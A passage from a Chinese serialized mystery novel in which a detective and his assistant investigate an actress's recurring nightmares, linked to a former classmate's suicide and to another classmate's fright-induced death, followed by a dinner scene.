“我梦到被指甲油杀手——”祝好顿住,换了个说法:“被许安宁追杀的那个晚上了。”
程述没应声,侧目看了她一眼。
祝好自顾自地补充了一句:“他还跟我说话了,但不是许安宁的声音。”
梦是种很奇怪的东西,刚睡醒的时候明明记得很清楚,但随着时间推移,又会像潮汐一般迅速褪去,只留下一些碎片。
任凭祝好再怎么努力回忆,也想不起那个声音到底在哪儿听过了。
“从科学的角度来说,梦境是潜意识的反应,也是现实中你担忧、焦虑等负面情绪的极端反映。当然,也有可能受到外界的影响。”
车内幽暗的光线中,程述的声音没有任何情绪起伏,像在进行什么科普讲座。
“外界的影响?”祝好来了兴趣。
程述点点头:“比如睡前的胡思乱想,过大的精神压力和某些药物影响。”
祝好恍然:“所以你才让江绮把她一天吃过的东西都记下来吗?”
程述嗯了一声:“既然她说她看过精神科,确定没有精神方面的问题,那就只剩下最后一种可能了。”
祝好嘟囔了句:“可连阿姨看着也不像坏人啊。”
程述:“我也没说一定是她,只是不排除任何一种可能。”
有道理,毕竟知人知面不知心。
摁响江绮家的门铃时,是连阿姨开的门。
看到他们,连阿姨温和地笑笑,朝屋里喊道:“小绮,你的朋友回来了。”
又转头对程述和祝好说:“我刚好做完晚饭,你们跟小绮一起吃点儿吧。”
祝好看她提着包,问道:“连阿姨,你不吃了晚饭再走吗?”
连阿姨摇摇头:“我还有点事儿,就不跟你们一起了。吃完饭把碗放在水槽里,明天我过来了再洗就行。”
说完就匆匆离开了。
江绮要保持身材,所以连阿姨准备的饭菜口味都相对清淡,但每一样菜都经过精心搭配,看得出来准备得十分用心。
祝好的肚子咕咕叫了起来,想起程述的话,她正犹豫要不要动筷,就看到他毫不客气地夹了一筷子菜吃了起来。
祝好:“……”
既然这样,她也就放开胆子吃了——就算连阿姨真的在饭菜里下了毒,大不了一起死呗。
好在吃饱喝足后,祝好也没觉得身体有什么不适,看程述和江绮也一切正常,这才稍稍放下心来。
一转眼就到了休息的时间,江绮挪到祝好旁边,扭扭捏捏地开口:“祝好,你今晚还能陪我睡吗?”
想到昨晚的梦,祝好下意识想婉拒,还没等她开口,江绮又抱住她的胳膊恳求道:“有你在身边,我特别有安全感,睡得可好了。”
果然面对这样一张脸,拒绝的话根本没办法说出口,祝好只得点头答应:“行吧。”
上楼之前,程述忽然叫住祝好:“你们睡觉时穿严实点,门也别反锁,有什么事大声叫我就行。”
祝好心说除了做噩梦应该不会有什么事吧,不过还是点了点头。
回到房间里,江绮和平时一样做了一套瑜伽,又慢悠悠地泡了个澡才爬上床,睡前还不忘点燃床头的香薰蜡烛。
明星就是不一样,就算被“灵异事件”折磨得精神萎靡,也依旧保持着精致又自律的生活。换做是祝好,黑眼圈估计也都要掉到腮边了。
随着烛光跃动,一股淡淡的花香在卧室里弥漫开。
今天的江绮看着似乎也没什么异常,祝好放下心来,安心地让自己陷进梦乡里。
……
“不是我……”
睡到半夜,一阵细微的呢喃声把祝好吵醒。
她缓缓睁眼,循声望去,瞬间惊出一身冷汗——只见江绮双目圆睁,正死死盯着她看,嘴里喃喃地重复着同一句话:“不是我,不是我,不是我……”
祝好禁不住头皮发麻,伸出发颤的手拍了拍江绮的肩膀,轻轻呼唤她的名字:“江绮,你还好吗?”
江绮没说话,瞪圆的双眼忽然流出两行血泪,那张俏丽的面孔逐渐扭曲变形,融成一团,缓缓向她靠近。
第152章
眼前这幅场景实在太过诡谲,祝好浑身僵住了,嗓子发干,却一个字也说不出来,只能眼睁睁看着那张脸离她越来越近。
就在即将相触的瞬间,祝好再次猛然睁开双眼,下意识转头看向身边的江绮——她的脸还是如之前一样完美无瑕,并没有扭曲或融化。
原来又是个噩梦。
还没等她缓过神,江绮的呢喃声又一次传来:“不是我,不是我……”
祝好狠狠掐了自己的手臂一把,好痛,这回不是做梦了。
她起身摇了摇江绮的肩膀:“江绮,你还好吗——”
话还没说完,江绮突然睁开双眼,抬手掐住祝好的脖子,一个翻身把她压在床上,指甲几乎要陷进肉里。
祝好只觉全身血液都往脑门上涌,挣扎着想把江绮推开,但不知为什么,平时看着细胳膊细腿的江绮此刻力气格外大,不仅纹丝不动,手上的力道还在不断箍紧,嘴里的呢喃变成了咬牙切齿的斥责:“为什么缠着我,为什么是我!我说了不是我!”
窒息的感觉逐渐加重,沉闷的压迫感笼罩着胸腔,祝好胡乱挥舞着胳膊,艰难地从喉咙里挤出几个字:“放开我……”
可江绮就好像没听到似的,目光里泛着令人胆寒的冷意,声音近乎嘶吼:“你想毁了我,对吧?不可能,我不会让你得逞的!”
“砰”的一
声巨响,房间门陡然之间被撞开。下一秒,脖颈的禁锢忽地消失,新鲜的空气重新涌进肺里。
“祝好!”
祝好剧烈地咳嗽起来,等模糊的视线逐渐恢复聚焦,才看清眼前程述焦急的面容。
他一手扶住祝好的肩膀,一手轻轻拍了拍她的脸颊:“祝好,你没事吧?”
祝好咳了好半天才终于缓过来,摇了摇头表示自己没事。
被推到一旁的江绮这时才刚从梦中清醒过来,看到坐在床头大口喘气的祝好和满脸焦躁不安的程述,神色里满是茫然,似乎对刚才发生的事情一无所知。
“祝好,怎么了?”
她想上前查看祝好的情况,程述面色一凛,抬手把她挡在一臂之外:“别过来,你刚才差点把她掐死了。”
“我?我怎么会把她掐死?”江绮刚要辩解,又忽然想起什么,面露惊愕:“不可能,刚才我难道不是在做梦吗?”
程述懒得听她的辩辞,从口袋里掏出那张支票扔在床头,语气森然:“抱歉,江小姐,这份委托我不接了,定金我们分文未动,还给你。”
说完他把祝好从床上扶起来,从衣帽架上取下外套披在她身上:“走,我们回家。”
江绮还没完全从迷茫中转醒,一听他们要走,下意识拉住祝好的胳膊,急切地解释:“对不起,我刚才真的完全没有意识,等我醒来时就已经这样了,你们别走好吗?”
程述眉头一皱,轻而易举把她的手从祝好身上扒下来:“江小姐,不好意思,我帮不了你。我可不想真相没查出来,还要倒贴一个助手。”
江绮往前两步挡在房间门口,大颗眼泪啪嗒啪嗒往下掉:“对不起,祝好,求求你们不要留我一个人在这儿,我保证不会再这样了。我刚才真的以为自己是在做梦,不是故意要掐你的……”
程述对她的哭诉置若罔闻,语气冷硬、一字一顿道:“麻烦你让开。”
江绮哭得梨花带雨,但似乎是笃定程述不敢对她动粗,还是死死扒着门框,拦住他们的去路。
祝好的思绪堪堪恢复了些许清明,不知怎么的,脑海里忽然闪过江绮刚才的梦呓,总觉得她这不寻常的举动背后有某些不为人知的原因。
“等等,老大,我还有一件事想问她。”她拍了拍程述的胳膊,给他递上一个安抚的眼神,然后转向江绮:“江绮,你是不是有什么事瞒着我们?”
江绮一愣,目光躲闪,支支吾吾:“没、没有……”
“那我真的帮不了你,我们回去吧。”祝好拉上外套的拉链,扯了扯程述的袖子,作势要往外走。
“别走!”江绮浑身紧绷,下颌微微抽动,许久才下定决心似的说出口:“我一直梦到的那个身影……我好像想起来她是谁了。”
祝好和程述对视了一眼,问道:“谁?”
“她以前跟我同一个高中,是一个……已经去世的女孩。”
*
凌晨两点。
江绮倒了两杯热水从厨房里出来,把其中一杯递给祝好。对于刚才的事祝好还心有余悸,犹豫了一下才伸手接过来。
看着她脖子上被自己掐出来的的红色手印,江绮低下头叹了口气,双手扭在一起。
偌大的别墅里,三个人坐在客厅的沙发上默然相对。
程述率先开口:“你跟去世的那个女孩,是什么关系?”
沉默了好一会儿,江绮才说:“只是普通的同学。她跟我一样从小学习舞蹈,我们俩都属于比较有天赋的那种类型,所以经常被拿来对比,但其实我们私底下基本没什么交流。”
青春期的孩子或多或少都有些攀比心理,两个长得漂亮且实力不相上下的女孩子,不论面上再怎么装作不屑一顾,心里也会暗暗拿对方跟自己相比较,试图在某些方面胜对方一筹。
江绮和那个女生便是如此,不过她们的较劲儿也仅限于你这个动作比我做得好,我今天被老师夸奖了而你没有。除此之外,并没有太出格的行为。
那一年,淮江市戏剧学院为了抢先录取优秀生源,便对每所高中放出一部分优先录取名额。只要通过考试,就可以提前获得录取的机会。
戏剧学院是许多舞蹈生梦寐以求的大学,江绮自然也不例外,为了获得优先录取的名额,她那段时间一直废寝忘食地练习舞蹈,为了考试而做准备。
江绮说:“当时戏剧学院分到我们学校的优先录取名额一共有三个,我和那个女生都很有希望入选。可就在考试的前几天,她意外从舞台上跌落,把腿摔断了。”
最终,那个女生因为腿伤无法参加考试,而江绮和其他两位同学则通过层层选拔,脱颖而出,成功被戏剧学院提前录取。
江绮回学校拿录取通知书的那天,天上下着大雨,她刚从教学楼里出来,就听到身后传来一声巨响。
她闻声回头,看到那个女生仰面躺在离自己几步之遥的暴雨中,身下枕着一滩被雨水稀释的鲜血。
片刻后,不知是谁先爆发出一声尖叫,接着四下一片嘈杂,可所有声响在江绮耳边都仿佛隔着一层水幕,模糊不清,她就这么愣怔地站在大雨中,与女生毫无神采的双目静静对视着。
后来江绮才知道,那次意外让女生的踝关节韧带断裂,很有可能终身都不能跳舞了。她因为经受不住打击,从教学楼的楼顶一跃而下,结束了自己年轻的生命。
“在那之后,我就留下了心理阴影,经常会做噩梦。后来我家里人带我去看了心理医生,做了几次催眠,我才渐渐淡忘了这件事。”
回忆到这里,江绮露出一个快要崩溃的表情,极其压抑地抽着气:“可是就在刚才,我在梦中突然看清了她的脸,她穿着校服,满脸都是血,就这么死死地盯着我看。”
祝好捧着水杯听得出神,起了一身鸡皮疙瘩,忍不住往程述身边靠近了些。
江绮颓靡地靠在沙发靠背上,看向祝好的眼里闪过一抹瑟缩:“在梦里我实在太害怕了,只能不停往前跑,可她却在我身后穷追不舍……后来我实在忍无可忍,转过身掐住她的脖子,问她到底想怎么样。可我没想到睁开眼时,看到的却是你。对不起,我真的不是故意的。”
她蜷缩在沙发上,抱着自己的双腿,紧紧咬着嘴唇:“我之前其实一直不相信鬼神,总觉得是身边有人因为嫉妒我而在背后使阴招,可是从见到她的那一刻,我就已经动摇了。你们说,世界上是不是真的有鬼?”
祝好隐晦地咽了口唾沫,问道:“如果她是自杀的,为什么会来找你?”
这个问题一问出口,她才后知后觉自己潜意识里已经相信鬼神真的存在了。
江绮痛苦地摇了摇头:“我也不知道,难道是因为我顺利考上大学、成为了演员,过上她梦寐以求的生活,而她的生命却永远停留在那个夏天 ,所以才会感到愤愤不平吗?”
她把脸埋在掌心里,深深地吁了口气。
程述并没有纠结她所言虚实,也没有任何怜香惜玉的意思,只是淡淡地耸了耸肩:“我的业务范畴不包括抓鬼,如果真是鬼神作祟,江小姐就只能另请高明了。”
说完又拍了拍祝好:“鬼故事听完了,你想现在回家,还是天亮再走?”
还没等祝好回答,江绮就扑到她身旁哀求道:“天亮再走吧,再陪我一会儿!定金也不用退,只要陪我到天亮就好!”
祝好思索了一会儿,还是同意了,定金倒是无所谓,但从江绮的别墅回到家里也有一段距离,大半夜让程述开车也不太安全,反正离天亮也只有几个小时了,歇会儿再回去也不迟。
不过她宁愿在沙发上随意眯会儿,也无论如何都不想再回江绮的房间去了。
江绮生怕他们一言不合就丢下自己离开,也不敢再强求,悻悻地一个人上了楼进了房间,但没把门锁上,而是半敞着。
程述把毯子扔给祝好:“累了的话就睡一会儿吧,有什么事明天再说。”
祝好确实累了,想了想,把一半毯子披在他身上,挨着他坐近了一些。
程述浑身明显僵了一下,犹豫片刻,试探性地扶住她的脑袋,让她靠在自己肩上。
祝好没有拒绝,惊吓过后,程述宽厚温暖的肩膀让她格外有安全感。倦意很快上涌,她闭上眼睛,任由思绪渐逝。
也不知过了多久,门铃忽然响起。
祝好不情愿地睁眼,发现天已经亮了,而自己不知什么时候已经完全靠进了程述怀里。
程述也歪着脑袋睡着了,一条胳膊枕在脑后,另一条胳膊还搭在她肩上。
迟来的羞赧漫上脸颊,她轻手轻脚从程述身上爬起来,推了推他:“老大,有人来了。”
程述闻言懒洋洋掀开眼皮朝大门的方向看了一眼,起身把门打开了。
门外传来一个熟悉的声音:“你好,我们是——”
一句带着公事公办的客套话还没说完就陡然变了调:“卧槽,老程,你怎么会在这儿?”
祝好认出了那个声音,是秦聿风。
第153章
从某种意义上来说,秦聿风就跟死神差不多,每次不管是来电还是突然露面,总会带来某些人的死讯。
不过此时此刻,“死神”显然早已把自己的职责抛之脑后。
他后退两步看了眼门牌号,又把程述上下打量一遍,小心翼翼地确认:“这是江绮家吧?”
程述:“是。”
秦聿风再一次确认:“那个女演员,江绮。”
程述:“是。”
秦聿风仿佛无意间撞破了什么不得了的秘密,惊讶得半天合不上嘴:“你……”
程述打断他:“你想多了。”
没等他开口,程述又继续道:“我跟江绮没关系,不是她的秘密情人,也没被她包养,我只是来挣点窝囊费的。”
秦聿风想问的问题都被他预判了,连个标点符号也没剩下,索性闭上嘴摆了摆手,等他自己解释。
不过程述显然没打算给他答疑解惑,反问道:“你来这儿干什么?”
跟在秦聿风身后的警员眼看八卦没了着落,这才替他回答:“我们有个案子,要找江小姐了解一下情况。”
一听有案子,祝好来了精神,披着毯子走到门口跟他们打了声招呼,并把她和程述出现在这儿的原因以及事情的来龙去脉简单说了一遍。
二楼的江绮被楼下的动静吵醒,也披着外套下来了,一脸茫然地看着站在自家门口的两拨人,问道:“怎么了吗?”
秦聿风终于反应过来自己来的目的,换上一副亲和的笑容,出示证件后说道:“江小姐,我们是淮江市刑警队的,有个案子需要跟您了解一下情况,方便进屋聊聊吗?”
江绮一愣,把他们请进了屋里。
“请问您认识这位女士吗?”在沙发上坐下后,秦聿风递过一张照片。
祝好好奇地凑上去看了一眼,是一张蓝底证件照,照片上的女孩跟江绮年纪差不多,梳着高马尾,面容清秀。
江绮神色僵了一瞬,猛地皱起双眉:“这是孟洁吧?她、她怎么了吗?”
跟秦聿风一同前来的警员回答:“很遗憾,她前天去世了。”
江绮倒吸了一口气,不敢置信地捂住嘴:“去世了?怎么去世的?什么时候的事儿?”
秦聿风:“这个暂时不方便透露。我们查阅了她的通话记录,发现她去世那天下午曾经给你打过电话,请问你跟她是什么关系?”
江绮似乎还沉浸在震惊之中,顿了约莫一分钟才开口回答:“我们是高中同学。”
秦聿风又拿出一张用证物袋装着的皱巴巴的白纸,纸上用红色墨水打印着几个字——“我回来了”。
“我们在孟洁的办公室的垃圾桶里发现了这个,你知道这是什么意思吗?”
江绮瞥了一眼,紧咬着嘴唇摇了摇头。
秦聿风把证物袋交还到警员手里,又问:“昨天的电话里你们都说了什么?”
“只是单纯地叙叙旧而已。”
秦聿风又问:“前天晚上十一点钟左右,你在哪儿?”
“就在家里。”
祝好也对她的不在场证明进行了补充:“当时我们也在,她没出过门。”
例行公事地问完几个问题之后,秦聿风结束了询问,朝江绮微微颔首:“打扰了,感谢您的配合,我们就先回去了。”
也许是昨晚刚经历了恐怖的一幕,又听闻孟洁的死讯,江绮此时的反应比平时要慢半拍,注意力也有些散漫,怔了好一会儿才勉强笑了笑表示回应,但还是呆呆坐着,也没有起身送客的打算。
既然已经归还了定金,推掉了这份委托,祝好和程述也没有必要再在江绮家待下去了,便和秦聿风一起离开了别墅。
回程时,秦聿风吩咐警员先把警车开回警局,然后死皮赖脸地坐上程述的车,迫不及待地打探道:“老程,你们这几天在忙什么,给江绮当贴身保镖吗?”
程述无奈地冷笑了一声:“何止是贴身保镖,还是陪睡保姆兼捉鬼大师。”
“陪睡?”秦聿风敏锐地捕捉到重点。
“你怎么满脑子的废料,不是我陪,是她陪。”程述转着方向盘,腾出一只手指了指祝好:“陪就算了,不知道那位江小姐大半夜发什么疯,差点把她给掐死。”
秦聿风闻言赶紧回头去看坐在后座的祝好,这才发现她脖子上的手印,眉头紧皱,问道:“祝好,你没事吧?”
“没事。”祝好扯了扯毛衣的领子遮住脖子,转移了话题:“对了,那个孟洁是怎么一回事?”
一般来说只要是出现了命案,警方都会把程述叫过去——毕竟工资都付了,肯定要物尽其用嘛,可这回他们却没有接到任何通知。
秦聿风从文件袋里抽出一份资料递给她:“孟洁是一家舞蹈培训机构的老师,昨天一大早被清洁工发现死在培训机构的楼梯间里。”
祝好粗略地扫了那份资料一眼,发现孟洁果然跟江绮毕业于同一所高中,不仅如此,两人还同是戏剧学院的学生。
程述漫不经心地问了句:“死因是什么?”
秦聿风:“初步判断是踩空后摔下阶梯、头部着地导致的严重颅骨损伤,具体死因还要等尸检结果出来了才知道。”
听描述,孟洁的死是踩空楼梯跌落造成的意外事故,难怪警方并没有找程述帮忙。
可既然是意外,为什么还要找江绮询问呢?
秦聿风看出了祝好的疑惑,解释道:“本来我们也觉得看着像是意外,但清洁工说,孟洁的办公室大门敞开着,背包也没带走,就好像是匆忙之中离开的。我们查看了楼道的监控,发现她从办公室里跑出来,一直不停回头看,表现得很慌张。”
他拿出一台平板电脑,点开监控视频,
递给祝好。
当时是晚上十一点左右,据培训机构的负责人介绍,最近市里有个舞蹈比赛,孟洁那几天都在加班处理准备参赛的学生名单,一直忙到了那个点。
监控录像显示,走廊里空无一人,孟洁办公室的门忽然从里面被打开,她跌跌撞撞地跑出来,不停回头往后看,可她的身后却空空如也。
随后,孟洁的身影拐进了楼道口,消失在监控画面里。
秦聿风解释:“走廊尽头就是楼道,培训机构租用是一栋三层小洋楼,没设电梯,她当时应该是想从楼道离开,不知怎么的就失足摔下去了。”
楼道里没有监控,所以孟洁到底是如何摔落的,还不得而知。
说到这里,秦聿风的手机突然响了。
他拿出手机看了一眼,摁下接听键:“喂,温主任……什么,孟洁不是摔死的?……好,知道了。”
等他挂断电话,程述忽然开口问:“尸检结果出来了?”
“嗯。”秦聿风面色有些凝重:“温珣说孟洁不是摔死的,而是心脏疾病引发的猝死。”
祝好闻言顺着他的话音一抬头,在后视镜里对上了程述的视线。
不论是失足跌落还是心脏病发作,孟洁的死似乎都可以归结为一场意外。但从监控录像的内容来看,她的死似乎又不止“意外”这么简单。
而她和江绮之间的关系,以及江绮最近的遭遇,更是给她的死增添了一丝诡异。
秦聿风低头摁手机,又拨出了一个电话:“查一下孟洁的医疗记录,再跟她的家属确认一下,看看她有没有先天性心脏病史。”
交代完毕后,他把手机塞回兜里,拍了拍程述的肩膀:“你们今天还有什么安排吗?”
程述嗤笑:“别装模作样的,你死皮赖脸坐我的车,不就是想叫我跟你去加班吗?”
说完默不作声地调转方向盘,开向了去往警局的方向。
*
回到警局,他们首先去了解剖室。
孟洁的尸体覆盖着一层白布,静静地躺在解剖台上,体内的脏器已经被全部取出,心脏被单独存放在一个装了福尔马林的罐子里。
温珣把拍摄的照片在屏幕上放大,解释道:“死者的眼眶四周有淤血、青紫和肿胀,所以我本来认为死者的死因是头部着地造成的颅骨损伤,但经过解剖,发现她的颅骨虽然受到外力冲击,却并没有引发内出血,严重程度也不致死。”
祝好问:“那怎么判断她是心脏病发作死的?”
温珣解释说,正常人的心脏应该跟自己的拳头差不多大,可孟洁的心脏却比她的拳头要大一些,而且肺动脉瓣狭窄,心室很厚。
进行过称重后,也发现她的心脏比正常女性的心脏要重50克左右。
种种迹象表明,孟洁是受到惊吓后诱发了心脏病,导致猝死,然后才从楼梯上摔了下来。
温珣摘下手套,推了推鼻梁上的眼镜,总结道:“简单来说,她是被吓死的。”
解剖室的温度本来就低,空气里满是福尔马林的味道。回想起这两天晚上的噩梦以及视频里孟洁诡异的举动,祝好只觉一股寒意窜上颅顶,不由得打了个哆嗦。
听完温珣的分析,秦聿风也为难地啧了一声,抱紧了自己的双臂,沉吟道:“……吓死的?可从监控里看,走廊里根本什么都没有啊……我靠!”
他话还没说完,就猝不及防骂出了一句国粹,原来是程述不知什么时候悄无声息出现他身后,恶作剧般朝他耳朵吹了口气。
“你有病吧程述?”秦聿风揉着耳朵狠狠骂了一句,对他的称呼都变成了直呼大名。
程述没脸没皮地笑了笑:“怎么,你不会怕鬼吧,秦警官?”
秦聿风没好气:“谁怕鬼了,我这不是……在思考吗?”
程述揽过他的肩膀:“在这儿思考有什么用?走吧,我们再去培训机构逛一圈。”
离开解剖室前,温珣突然叫住了祝好:“祝好,你今天傍晚有时间吗?”
“怎么了?”
温珣弯着眉眼,微微颔首跟她对视:“我妈妈过几天要离开淮江市了,她一直念叨着走之前想跟你一起吃个饭,你今晚不忙的话,我安排一下。”
顿了顿,又补充道:“如果你觉得不自在,不去也没关系,我跟她说一声就好了。”
祝好记得温珣说过他母亲是一位小有名气的美容整形医师,在国外拥有一家连锁的整形机构,平时工作很忙,很久才有时间回来一趟。
既然是长辈主动开口邀请,不答应就显得有些没礼貌了,况且祝好虽然只在视频通话里跟温珣的母亲见过一面,但无端感觉她是个很好相处的人。
略一思忖后,她点了点头:“没问题,那今晚见。”
第154章
孟洁任职的这家舞蹈培训机构在淮江市规模算是比较大的,直接把一整栋三层小楼都租了下来,一楼二楼是舞蹈室,三楼则是办公室和会议室,孟洁的办公室就位于三楼走廊中间段的位置。
从戏剧学院毕业后孟洁就一直在这儿工作,算是老员工了。除了教学之外,还担任教学总监的职务,负责制定教学计划和目标、指导舞蹈教师的教学工作,可以说是这家培训机构的台柱子。
办公室还维持着孟洁去世前的原样,乍一看也没什么特别的,墙上挂着几张锦旗、奖章,办公桌上除了电脑之外还有几张合照、一个小盆栽、几个玩偶和一个香薰蜡烛。
香薰蜡烛的烛芯周围凹进去一个小坑,是被点燃过的痕迹。
办公室虽然看着凌乱,但显然不是被人翻动的。带滚轮的椅子跟办公桌的距离很远,像是坐在这儿的人看到了什么之后猛然起身,导致椅子在惯性的作用下后移,散落一地的文件显然也是慌乱间被扫落到地上的。
祝好忽然想起秦聿风展示给江绮看的那张纸条,朝他问道:“对了,那张写着‘我回来了’的纸条是怎么一回事?”
秦聿风摇了摇头,告诉她当时那张纸条被揉成一团扔在垃圾桶里,警方询问过培训机构的其他工作人员和孟洁的学生,甚至是她的亲人和朋友,但没有人知道上面的字究竟是什么意思,也不知道纸条是谁给她的。
所以现在暂时没办法判断那张纸条究竟指是某人的恶作剧,还是跟孟洁突然发作的心脏病有什么关系。
祝好在办公室里扫视了一圈,又跟着程述和秦聿风来到了走廊。
楼道口在走廊尽头的右侧,跟孟洁的办公室大约有十米的距离。
走廊上只装了一个监控,覆盖范围只有一条直线,而楼道口要在走廊尽头右拐,已经超出了监控画面的范围。
没有监控,也就没办法得知孟洁跑进楼道之后究竟发生了什么。
沿着孟洁生前最后的路线往返几次后,程述忽然目不转睛地盯着正对楼道口的墙上的几块牌匾看了一会儿,又转头目测了一下角度,朝秦聿风伸出手:“昨晚的监控再给我看看。”
秦聿风不明所以,还是打开平板电脑,点开监控递给他。
画面上,孟洁从办公室出来,一路仓皇失措地跑到了走廊尽头,频频回头往后看。
反复观看几次后,在孟洁即将跑到楼道口时,程述突然摁下暂停键,手指停留在那几块不锈钢牌匾的位置,把画面放到最大——只见在灯光的照射下,牌匾上反射出一个伫立在楼道口的身影。
那道身影虽然有些变形,但依稀能分辨出是一名女子,留着一头长发,身上穿着绿色的运动校服,脑袋低低低垂着。
不过由于牌匾并不像镜子那般清晰,摄像头的像素也有限,没办法分辨出女子的外貌。
——“她以前跟我同一个高中,是一个……已经去世的女孩。”
——“我在梦中突然看清了她的脸,她穿着校服,满脸都是血,就这么死死地盯着我看。”
——“我
回来了。”
江绮说过的话和纸条上的内容交织着在祝好脑海里闪过,一股凉意从脚底板钻进身体,令她陡然之间遍体生寒。
孟洁是受到惊吓后心脏病发作去世的,江绮也总是莫名见到一些诡异的画面,并且频频做噩梦,她们两个人又曾经是同一所高中的学生,这其中到底有什么关联呢?这个穿着校服的身影又该怎么解释,难道真的是鬼魂作祟吗?
程述把平板电脑还给秦聿风:“你让人查一下,七年前江绮和孟洁就读的高中有没有发生过一起学生跳楼自杀的案子。”
秦聿风“嘶”地吸了口气:“不会吧老程,真有鬼啊?怎么那么玄乎。”
程述沉吟片刻,也没办法给出答案,只是摇了摇头:“是人还是鬼……谁知道呢?”
*
离开舞蹈培训机构时,恰好已是傍晚,距离跟温珣约定的时间还有半个多小时。
温珣打来电话说要来接祝好一起过去,但考虑到下班高峰期路上太堵,这一来一回会浪费不少时间,祝好还是拒绝了,说自己打个车过去就好。
挂了电话,她正要抬手拦车,胳膊刚举到半空就被程述一把攥住、压了下去。
他转头问秦聿风:“老秦,你待会儿还有事吗?”
秦聿风:“没,你说的那个女生已经让人去查了,怎么?”
程述:“那就先送她去见家长吧,这个时间不好打车。”
秦聿风一怔:“见家长?”
程述笑了笑:“跟温珣的妈妈一起吃饭,可不就是见家长么?上车吧。”
祝好犹豫了一下,没挪步,总觉得今天的程述贴心得有些可疑——上一回他那么贴心的时候,还是让她带秦聿风去坐云霄飞车。
见她在原地踟蹰不前,程述揿下车窗朝她勾了勾手:“上来啊,愣着干嘛,再不走就迟到了。”
尽管对他持怀疑态度,不过现在正值晚高峰期,路过的出租车几乎都亮起了“满客”的红灯,权衡一番后,祝好还是上了车。
所幸程述还算诚恳,径直开向了餐馆,中途为了避开拥堵路段还绕了段远路,终于在约定的时间赶到了餐馆楼下。
祝好远远就看到温珣站在餐馆门口跟一位女士聊天,那位女士盘着头发,穿着件绛紫色的大衣,十分有气质,应该就是温珣的妈妈。
车刚停稳,祝好就赶紧开门下车,一路小跑来到他们面前,莞尔一笑朝温母打了声招呼:“阿姨好,对不起,路上堵车让你们久等了。”
“没关系,我们也刚到。”温珣脸上泛起笑意,介绍道:“妈,这位就是祝好。祝好,这是我妈妈。”
“你就是祝好呀,小姑娘长得可真是精神。”温母拉着祝好的手把她从头到脚打量了一遍,笑得合不拢嘴,随后眼神又投向停在路边没开走的车:“车里的两位是?”
祝好回过头,发现程述正趴在车窗上跟他们招手。
奇怪,这家伙平时对谁都是一副爱答不理的样子,什么时候变得那么热情了。
她随口解释道:“他们都是警局的同事,顺路送我过来的。”
温母面露欣喜:“那不就都是温珣的同事吗?”
温珣脸色微变,阻止的话还没说出口,温母就已经走到车旁,向程述和秦聿风发出了邀请:“小伙子,来都来了,一起进去吃个饭吧,阿姨请客。”
副驾驶上的秦聿风干巴巴地笑着挠了挠头:“不了不了,那怎么好意思。”
程述也附和:“就是,多不好意思啊,我们回警局吃外卖就行。”
秦聿风一脸窘迫,看得出来是真的不好意思,可程述那张纯良的笑脸让祝好心生不好的预感,难怪那么贴心要特地把她送过来,敢情是存心来气温珣的。
果不其然,温母一听就急了:“不给阿姨面子是吧?天天吃外卖多不健康,难得大家都在,走走走,一起吃!”
温珣的笑容僵在脸上:“妈,我只订了三个人的位置。”
温母面露不耐:“要个包厢。”
“包厢满了。”
“那就让他们加两张椅子。”
“桌子不够大怎么办?”
“那就换一家店,又不是非得在这儿吃。”
温珣:“……”
他虽然一如既往地笑意盈盈,但镜片后的视线仿佛一把利刃,越过温母的肩膀,与车里一脸“你能拿我怎么样”的程述目光短兵相接,恨不得把他乱刀砍死在街头。
默了片刻,他还是不情不愿地妥协了:“行吧,我让他们给我找个包厢。”
这是一家中餐馆,里面的装修自然也以典雅的中式风格为主,随处可见雕刻精美的红木摆件和形态各异的瓷器。
在服务员的带领下,他们坐进了包厢里,温母心情似乎很不错,拿起菜单递给祝好:“祝好,喜欢吃什么随便点。”
祝好接过菜单看了一眼,不禁咋舌:这也太贵了吧。
她装模作样地翻了翻,又把菜单还给温母:“阿姨,还是你点吧,我不挑食。”
温母没说什么,点完菜后,让服务员先出去了,高兴地拉着祝好的手,笑眯眯地说:“祝好,我老听温珣提起你,说你漂亮又聪明,今天一见,果然如此。”
祝好被她夸得有些不好意思,谦虚地应了句谢谢。
温母又把目光投向乖巧地端坐着的程述和一脸“我为什么会在这儿”的秦聿风:“这两个小伙子也是,长得真精神,体格也棒。”
说完又拍了拍温珣的肩膀:“温珣,你也要多锻炼锻炼,身体是革命的本钱。”
温珣无奈地给自己正名:“妈,我也经常健身的。”
温母不满意:“你还是太瘦了,多吃点儿肉和蔬菜,别吃那么多甜食。”
“就是,都让你别老吃哈根达斯了,对身体多不好。”程述笑嘻嘻地接过温母的话,又认真地跟她保证:“阿姨,您放心,以后我们去打拳和晨跑一定带上温主任。”
温母点点头,交代道:“阿姨不经常回国,温珣就靠你们照顾了,你们帮我好好监督他。”
程述一本正经地拍了拍胸口:“保证完成任务。”
温母被他逗得合不拢嘴,转头对温珣道:“温珣,你看看人家性格多开朗,你也别老端着,放开点儿。”
温珣笑了笑没说话,看似神色如常,眼底早已燃起滔天的野火,恨不得当场扒开程述的皮,让温母看清他那看似人畜无害的皮囊下是怎样一副虚伪的嘴脸。
第155章
好在菜很快上来了,温母热情地招呼他们多吃菜、不够再加,祝好也适时打了圆场,提议大家碰个杯,包厢里暗流涌动的气氛这才终于稍稍得以缓解,也算是宾主尽欢了。
饭局很快进入尾声,温母突然想起什么,对祝好道:“对了,祝好,阿姨有个礼物要给你。”
说着从包里掏出一只木质的小盒子递给她。
祝好接过盒子打开一看,里面是一串做工精美的手链。她对首饰没什么研究,但这串手链一看就价格不菲,连忙推辞:“阿姨,这太贵重了,我不能收。”
温母蹙眉,佯装不高兴:“怎么就不能收了!温珣都跟我说了,当时你们被绑架,他受了伤,是你把绑匪引开的。相比我儿子的命,一串手链算什么?赶紧收下,听话。”
温珣也说:“祝好,这是我妈妈的一片心意,你就收下吧。”
祝好推脱不过,只好说了声谢谢,应下了温母的好意。
温母这才喜笑颜开,拉过祝好的手替她把手链戴上,赞叹道:“阿姨眼光不错吧?还真是好看。”
从餐馆出来时,祝好扯了扯温珣的袖子,示意他放慢步伐,低声对他说:“温珣,不好意思啊,本来老大只是顺路送我,没想到会变成这样。”
温珣露出一个温和的笑:“不用跟我道歉,这又不是你的主意,再说了,我妈妈今天真的很开心。”
这话倒是没毛病,这一晚上温母被程述那张抹了蜜糖似的嘴逗得笑个不停,甚至已经约好了下次回国让温珣再带他来吃顿饭。
虽然程述平时嘴上总念叨“人际关系比尸体还要难处理”,但其实只要他愿意,就能游刃有余地跟所有人打交道。
*
一想到今晚就能回家睡觉,祝好安心不少。
